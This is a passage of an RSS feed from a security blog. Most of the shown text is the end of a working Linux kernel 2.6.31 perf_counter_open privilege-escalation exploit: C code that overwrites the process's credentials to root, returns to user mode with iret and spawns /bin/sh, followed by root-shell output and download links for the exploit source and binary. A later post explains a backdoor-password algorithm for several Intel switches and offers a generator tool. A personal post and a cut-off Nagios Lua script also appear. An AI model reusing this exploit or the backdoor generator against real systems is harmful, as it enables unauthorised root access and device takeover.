<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>As you may have noticed, <em>task_struct</em> links two <em>cred</em> structures. Under normal circumstances, the two pointers have the same value, thus pointing to the same <em>cred</em> structure.<br />
This plus the very special definition of the <em>cred</em> structure having all the UIDs/GIDs side by side define a special signature.<br />
We will be able to find the <em>cred</em> structure&#8217;s address by walking the <em>task_struct</em> searching for two field having the same exact value and looking like pointers to objects in the kernel memory space.<br />
Then we will check if the pointed memory looks like a <em>cred</em> structure by looking at the UIDs/GIDs suite.<br />
When the <em>cred</em> structure will be found, we will just have to put 0s in the UIDs and GIDs to make our process have the root privileges.</p>
<p>Here is the code of our <em>update_cred</em> function:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">void</span> update_cred<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        uint32_t        i<span style="color: #339933;">;</span>
        uint32_t        <span style="color: #339933;">*</span>task <span style="color: #339933;">=</span> get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Pointer to the task_struct */</span>
        uint32_t        <span style="color: #339933;">*</span>cred <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">1024</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                cred <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>uint32_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>task<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cred <span style="color: #339933;">==</span> <span style="color: #009900;">&#40;</span>uint32_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>task<span style="color: #009900;">&#91;</span>i<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> cred <span style="color: #339933;">&gt;</span> <span style="color: #009900;">&#40;</span>uint32_t <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #208080;">0xc0000000</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        cred<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* Get ride of the cred's 'usage' field */</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid
                            <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid
                            <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid
                            <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid<span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #808080; font-style: italic;">/* Get root */</span>
                                cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                                cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> cred<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                                <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Well, we now need to go back to our process &#8230;</p>
<p><strong>Exiting kernel</strong><br />
Exiting kernel will not be difficult, all we have to do is to prepare the stack and call the <em>iret</em> instruction.<br />
As defined in the Intel manuals, <em>iret</em> returns control to the program. When calling iret the processor pops data from the stack and place it in the <em>EIP</em> register, <em>CS</em> segment register, <em>EFLAGS</em> register, <em>ESP</em> register and finally <em>SS</em> segment register.<br />
The segment registers and <em>EFLAGS</em> will be set to &#8220;standard&#8221; value while we will give an address for <em>ESP</em> pointing to a memory buffer defined in our program (<em>exit_stack</em>), and the address of our <em>spawn_shell</em> function for <em>EIP</em>.<br />
After the <em>iret</em> instruction will be executed we will be back in our program, at the start of the <em>spawn_shell</em> function, in user mode with the root&#8217;s privileges.</p>
<p>Here is the code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">void</span> exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        __asm__ __volatile__ <span style="color: #009900;">&#40;</span>
        <span style="color: #ff0000;">&quot;movl %0, 0x10(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %1, 0x0c(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %2, 0x08(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %3, 0x04(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;movl %4, 0x00(%%esp) ;&quot;</span>
        <span style="color: #ff0000;">&quot;iret&quot;</span>
        <span style="color: #339933;">:</span> <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_SS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>STACK<span style="color: #009900;">&#40;</span>exit_stack<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_FL<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_CS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>spawn_shell<span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>Last, but not least &#8230; spawning a shell !</strong><br />
Now, we are back in user land (ring3), and as we changed our stack address, and smashed some segment registers (like <em>GS</em>), we will not rely on the libc. So, we will start our shell in assembler. It&#8217;s quite simple: A syscall to <em>write</em> to print a message, and then a syscall to <em>execve</em> to start the shell;</p>
<p><em>spawn_shell</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #000000; font-weight: bold;">inline</span> <span style="color: #993333;">void</span> spawn_shell<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">static</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>s <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;Starting shell<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #993333;">static</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>t<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
        my_syscall<span style="color: #009900;">&#40;</span>SYS_write<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>s<span style="color: #339933;">,</span> mystrlen<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        my_syscall<span style="color: #009900;">&#40;</span>SYS_execve<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>t<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>t<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><em>my_syscall</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> my_syscall<span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> nb<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg1<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg2<span style="color: #339933;">,</span>
                        <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg3<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg4<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> arg5<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> ret<span style="color: #339933;">;</span>
        __asm__ <span style="color: #009900;">&#40;</span>
        <span style="color: #ff0000;">&quot;mov %1, %%eax ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %2, %%ebx ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %3, %%ecx ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %4, %%edx ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %5, %%esi ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %6, %%edi ;&quot;</span>
        <span style="color: #ff0000;">&quot;int $0x80 ;&quot;</span>
        <span style="color: #ff0000;">&quot;mov %%eax, %0 ;&quot;</span>
        <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;=r&quot;</span> <span style="color: #009900;">&#40;</span>ret<span style="color: #009900;">&#41;</span>
        <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>nb<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg1<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg2<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg3<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg4<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;m&quot;</span> <span style="color: #009900;">&#40;</span>arg5<span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> ret<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>And we are done !</strong><br />
You should now have a root shell <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This is the result on a ubuntu jaunty host with a 2.6.31 kernel (from ubuntu repositories):</p>

<div class="wp_syntax"><div class="code"><pre class="sh" style="font-family:monospace;">xipe@tomate:~/exploit$ 
xipe@tomate:~/exploit$ id
uid=1000(xipe) gid=1000(xipe) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)
xipe@tomate:~/exploit$ ./sys_perf_counter_open_sploit 
Starting shell
# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),29(audio),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(xipe)
# uname -a
Linux tomate 2.6.31-10-generic #34-Ubuntu SMP Wed Sep 16 00:23:19 UTC 2009 i686 GNU/Linux
#</pre></div></div>

<p><strong>Exploit code</strong><br />
The exploit code and binary can be found here:</p>
<p>Download <a href="http://redstack.net/blog/wp-content/uploads/2009/09/sys_perf_counter_open_sploit.c">source</a><br />
Download <a href="http://redstack.net/blog/wp-content/uploads/2009/09/sys_perf_counter_open_sploit.gz">binary</a></p>
<p>That&#8217;s all folks ! Have fun !</p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Welcome to Denmark !</title>
		<link>http://redstack.net/blog/2009/08/29/welcome-to-denmark/</link>
		<comments>http://redstack.net/blog/2009/08/29/welcome-to-denmark/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 09:49:24 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[My Life]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/?p=53</guid>
		<description><![CDATA[For the ones who were wondering, this blog is not dead, I just had some changes in my life &#8230; After traveling a month in China, I moved to Copenhagen &#8230; And I am still unpacking all my stuff and wondering how I will be able to put everything in our new apartment located somewhere [...]]]></description>
			<content:encoded><![CDATA[<p>For the ones who were wondering, this blog is not dead, I just had some changes in my life &#8230;</p>
<p>After traveling a month in China, I moved to Copenhagen &#8230; And I am still unpacking all my stuff and wondering how I will be able to put everything in our new apartment located somewhere around <a href="http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=Duevej,+2000+Frederiksberg,+Denmark&#038;sll=37.0625,-95.677068&#038;sspn=52.902929,113.994141&#038;ie=UTF8&#038;z=16&#038;iwloc=A">here</a> <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Also, I am half French, half Italian, and as neither of this 2 countries are known to have aptitudes in learning new languages, it will certainly take a little while for me to learn Danish. (I already started but without a lot of success) &#8230;</p>
<p>So here I am &#8230; I will be looking for a job in Copenhagen during next weeks, and trying to find a good security related subject to blog about &#8230;<br />
Perhaps another article on Metasploit or something about Symbian phones&#8217; security &#8230; I still don&#8217;t know &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2009/08/29/welcome-to-denmark/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Intel(r) switches backdoor</title>
		<link>http://redstack.net/blog/2008/05/19/intelr-switches-backdoor/</link>
		<comments>http://redstack.net/blog/2008/05/19/intelr-switches-backdoor/#comments</comments>
		<pubDate>Mon, 19 May 2008 20:48:42 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Cool Stuff]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/05/19/intelr-switches-backdoor.html</guid>
		<description><![CDATA[I recently got an Intel(r) Express 530T switch from eBay. It&#8217;s a &#8220;Manageable&#8221; switch, this means that you can connect to the switch through a null modem cable, telnet or a web interface to modify the switch configuration (Change MAC address filtering, create/delete VLANs, change ports speeds an priority, &#8230;). But when I tried to [...]]]></description>
			<content:encoded><![CDATA[<p>I recently got an Intel(r) Express 530T switch from eBay. It&#8217;s a &#8220;Manageable&#8221; switch, this means that you can connect to the switch through a null modem cable, telnet or a web interface to modify the switch configuration (Change MAC address filtering, create/delete VLANs, change ports speeds an priority, &#8230;).</p>
<p>But when I tried to connect to the switch, I discovered that the switch hadn&#8217;t been reseted, and that the seller didn&#8217;t gave me the username and password needed to manage the switch.<br />
<span id="more-22"></span><br />
After trying to find any reset button around, under, and even inside the switch, I sent a mail to the seller and contacted the Intel support.<br />
As the seller wasn&#8217;t responding and the Intel support wasn&#8217;t able to give me a reset procedure, I crawled the web, and managed to find a little Intel(r) utility &#8220;that does not exists&#8221;, according to the russian website that was distributing it (sorry, I can&#8217;t remember the address).<br />
This utility compute a backdoor password depending of your switch&#8217;s MAC address.</p>
<p>The documentation that can be found with this Intel(r) utility, says that it works with :<br />
* Intel(R) Express 330T Hub with Management Module<br />
* Intel(R) NetStructure(TM) 470T/470F Switches<br />
* Intel(R) Express 460T Standalone Switch<br />
* Intel(R) Express 530T/535T Stackable Switches<br />
It also says that you must let the usename blank, and just enter the password and that the backdoor password only works from the management port on the switch (It will not work through telnet nor the web interface).</p>
<p>So, after getting a password for my switch, I started to look at the password generation algorithm.<br />
Here is the code of the password generation function :<br />
<img src='http://redstack.net/blog/wp-content/uploads/2008/05/backdoor-asm.gif' alt='Intel(r) Backdoor password generation function' /></p>
<p>After reading this code, I managed to draw this little diagram of the generation algorithm:<br />
(Saying M1 to M6 are the 6 MAC address bytes; xor is an exclusive or between two bytes; ! is a bit swapping of all bits eg: all 0s become 1s and all 1s become 0s; shl1 is a left shift of 1 bit; shr7 is a right shift of 7 bits)</p>
<p><a href='http://redstack.net/blog/wp-content/uploads/2008/05/intel-backdoor-algo-img.png' title='intel-backdoor-algo-img1.png'><img src='http://redstack.net/blog/wp-content/uploads/2008/05/intel-backdoor-algo-img1.png' alt='intel-backdoor-algo-img1.png' /></a></p>
<p>After running this transformations two times on the buffer originally containing the switch MAC address, the password is the hexadecimal representation of M4,M5,M6.<br />
Thus, for example, if M4=0xA0, M5=0×55 and M6= 0xEF, the password will be : A055EF.<br />
Note: letters are always in uppercase.</p>
<p>Here you can find an implementation of this algorithm :<br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/05/intel_backdoor.c' title='intel_backdoor.c'>intel_backdoor.c (C source code)</a><br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/05/intel_backdoor.gz' title='intel_backdoor.gz'>intel_backdoor.gz (Linux x86 binary)</a><br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/05/intel_backdoor.exe' title='intel_backdoor.exe'>intel_backdoor.exe(Windows binary)</a><br />
Just for fun : a <a href='http://redstack.net/blog/wp-content/uploads/2008/05/demo.gif' title='demo.gif'>demo</a> <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
I hope you enjoyed this post as much as I enjoyed writing it <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2008/05/19/intelr-switches-backdoor/feed/</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Nagios status report in Ion3 statusbar</title>
		<link>http://redstack.net/blog/2008/05/08/nagios-status-report-in-ion3-statusbar/</link>
		<comments>http://redstack.net/blog/2008/05/08/nagios-status-report-in-ion3-statusbar/#comments</comments>
		<pubDate>Thu, 08 May 2008 20:54:24 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Hacks]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/05/08/nagios-status-report-in-ion3-statusbar.html</guid>
		<description><![CDATA[Here is a little script that permits to report one or more nagios servers status in the ion3 status bar: statusd_nginfo.lua (Download) -- -- statusd_nginfo.lua -- -- Made by Raffaello Pelagalli -- -- Started on Sun Mar 9 00:22:31 2008 Raffaello Pelagalli -- Last update Thu May 8 23:29:32 2008 Raffaello Pelagalli -- -- This [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a little script that permits to report one or more nagios servers status in the ion3 status bar:</p>
<p><strong>statusd_nginfo.lua</strong> (<a href='http://redstack.net/blog/wp-content/uploads/2008/05/statusd_nginfo.lua' title='statusd_nginfo.lua'>Download</a>)<br />
<span id="more-19"></span></p>

<div class="wp_syntax"><div class="code"><pre class="lua" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">--</span>
<span style="color: #808080; font-style: italic;">-- statusd_nginfo.lua</span>
<span style="color: #808080; font-style: italic;">-- </span>
<span style="color: #808080; font-style: italic;">-- Made by Raffaello Pelagalli</span>
<span style="color: #808080; font-style: italic;">-- </span>
<span style="color: #808080; font-style: italic;">-- Started on  Sun Mar  9 00:22:31 2008 Raffaello Pelagalli</span>
<span style="color: #808080; font-style: italic;">-- Last update Thu May  8 23:29:32 2008 Raffaello Pelagalli</span>
<span style="color: #808080; font-style: italic;">-- </span>
<span style="color: #808080; font-style: italic;">-- This library is free software; you can redistribute it and/or</span>
<span style="color: #808080; font-style: italic;">-- modify it under the terms of the GNU Lesser General Public</span>
<span style="color: #808080; font-style: italic;">-- License as published by the Free Software Foundation; either</span>
<span style="color: #808080; font-style: italic;">-- version 2.1 of the License, or (at your option) any later version.</span>
<span style="color: #808080; font-style: italic;">-- </span>
<span style="color: #808080; font-style: italic;">-- This library is distributed in the hope that it will be useful,</span>
<span style="color: #808080; font-style: italic;">-- but WITHOUT ANY WARRANTY; without even the implied warranty of</span>
<span style="color: #808080; font-style: italic;">-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU</span>
<span style="color: #808080; font-style: italic;">-- Lesser General Public License for more details.</span>
<span style="color: #808080; font-style: italic;">-- </span>
<span style="color: #808080; font-style: italic;">-- You should have received a copy of the GNU Lesser General Public</span>
<span style="color: #808080; font-style: italic;">-- License along with this library; if not, write to the Free Software</span>
<span style="color: #808080; font-style: italic;">-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA</span>
<span style="color: #808080; font-style: italic;">-- 02111-1307  USA</span>
<span style="color: #808080; font-style: italic;">--</span>
&nbsp;
<span style="color: #808080; font-style: italic;">-- Nagios checking script</span>
<span style="color: #808080; font-style: italic;">-- Reports nagios status in ion status bar</span>
<span style="color: #808080; font-style: italic;">-- Sample configuration:</span>
<span style="color: #808080; font-style: italic;">-- mod_statusbar.launch_statusd{</span>
<span style="color: #808080; font-style: italic;">--    ...</span>
<span style="color: #808080; font-style: italic;">--    nginfo = {</span>
<span style="color: #808080; font-style: italic;">--       urls = {</span>
<span style="color: #808080; font-style: italic;">--          &quot;http://user1:password1@server1.domain1.tld/cgi-bin/nagios2/nginfo.pl&quot;,</span>
<span style="color: #808080; font-style: italic;">--          &quot;http://user2:password2@server2.domain2.tld/nagios/cgi-bin/nginfo.pl&quot;,</span>
<span style="color: #808080; font-style: italic;">--       },</span>
<span style="color: #808080; font-style: italic;">--    }</span>
<span style="color: #808080; font-style: italic;">--    ...</span>
<span style="color: #808080; font-style: italic;">-- }</span>
<span style="color: #808080; font-style: italic;">--</span>
<span style="color: #808080; font-style: italic;">-- Need to be used with nginfo.pl script from</span>
<span style="color: #808080; font-style: italic;">-- http://redstack.net/blog/index.php/2008/05/08/nagios-status-report-in-ion3-statusbar.html</span>
&nbsp;
<span style="color: #b1b100;">require</span> <span style="color: #ff0000;">&quot;lxp&quot;</span>
<span style="color: #b1b100;">local</span> ng_timer
<span style="color: #b1b100;">local</span> <span style="color: #b1b100;">error</span> <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">false</span>
&nbsp;
<span style="color: #b1b100;">local</span> status <span style="color: #66cc66;">=</span> <span style="color: #66cc66;">&#123;</span><span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">local</span> defaults <span style="color: #66cc66;">=</span> <span style="color: #66cc66;">&#123;</span> 
   update_interval<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">30</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">1000</span>, 
   urls <span style="color: #66cc66;">=</span> <span style="color: #66cc66;">&#123;</span> <span style="color: #66cc66;">&#125;</span>,
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">local</span> settings <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">table</span>.join<span style="color: #66cc66;">&#40;</span>statusd.get_config<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;nginfo&quot;</span><span style="color: #66cc66;">&#41;</span>, defaults<span style="color: #66cc66;">&#41;</span>
&nbsp;
nginfo_callbacks <span style="color: #66cc66;">=</span> <span style="color: #66cc66;">&#123;</span>
   StartElement <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">function</span> <span style="color: #66cc66;">&#40;</span>parser, name<span style="color: #66cc66;">&#41;</span>
                     <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>name <span style="color: #66cc66;">==</span> <span style="color: #ff0000;">&quot;current_state&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">then</span>
                        nginfo_callbacks.CharacterData <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">function</span> <span style="color: #66cc66;">&#40;</span>parser, val<span style="color: #66cc66;">&#41;</span>
                                                            status<span style="color: #66cc66;">&#91;</span><span style="color: #b1b100;">tonumber</span><span style="color: #66cc66;">&#40;</span>val<span style="color: #66cc66;">&#41;</span> + <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span> <span style="color: #66cc66;">=</span> 
                                                               status<span style="color: #66cc66;">&#91;</span><span style="color: #b1b100;">tonumber</span><span style="color: #66cc66;">&#40;</span>val<span style="color: #66cc66;">&#41;</span> + <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span> + <span style="color: #cc66cc;">1</span>
                                                         <span style="color: #b1b100;">end</span>
                     <span style="color: #b1b100;">end</span>
                  <span style="color: #b1b100;">end</span>,
   EndElement <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">function</span> <span style="color: #66cc66;">&#40;</span>parser, name<span style="color: #66cc66;">&#41;</span>
                   <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>name <span style="color: #66cc66;">==</span> <span style="color: #ff0000;">&quot;current_state&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">then</span>
                      nginfo_callbacks.CharacterData <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">false</span>
                   <span style="color: #b1b100;">end</span>
                <span style="color: #b1b100;">end</span>,
   CharacterData <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">false</span>,
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">function</span> parse <span style="color: #66cc66;">&#40;</span>data<span style="color: #66cc66;">&#41;</span>
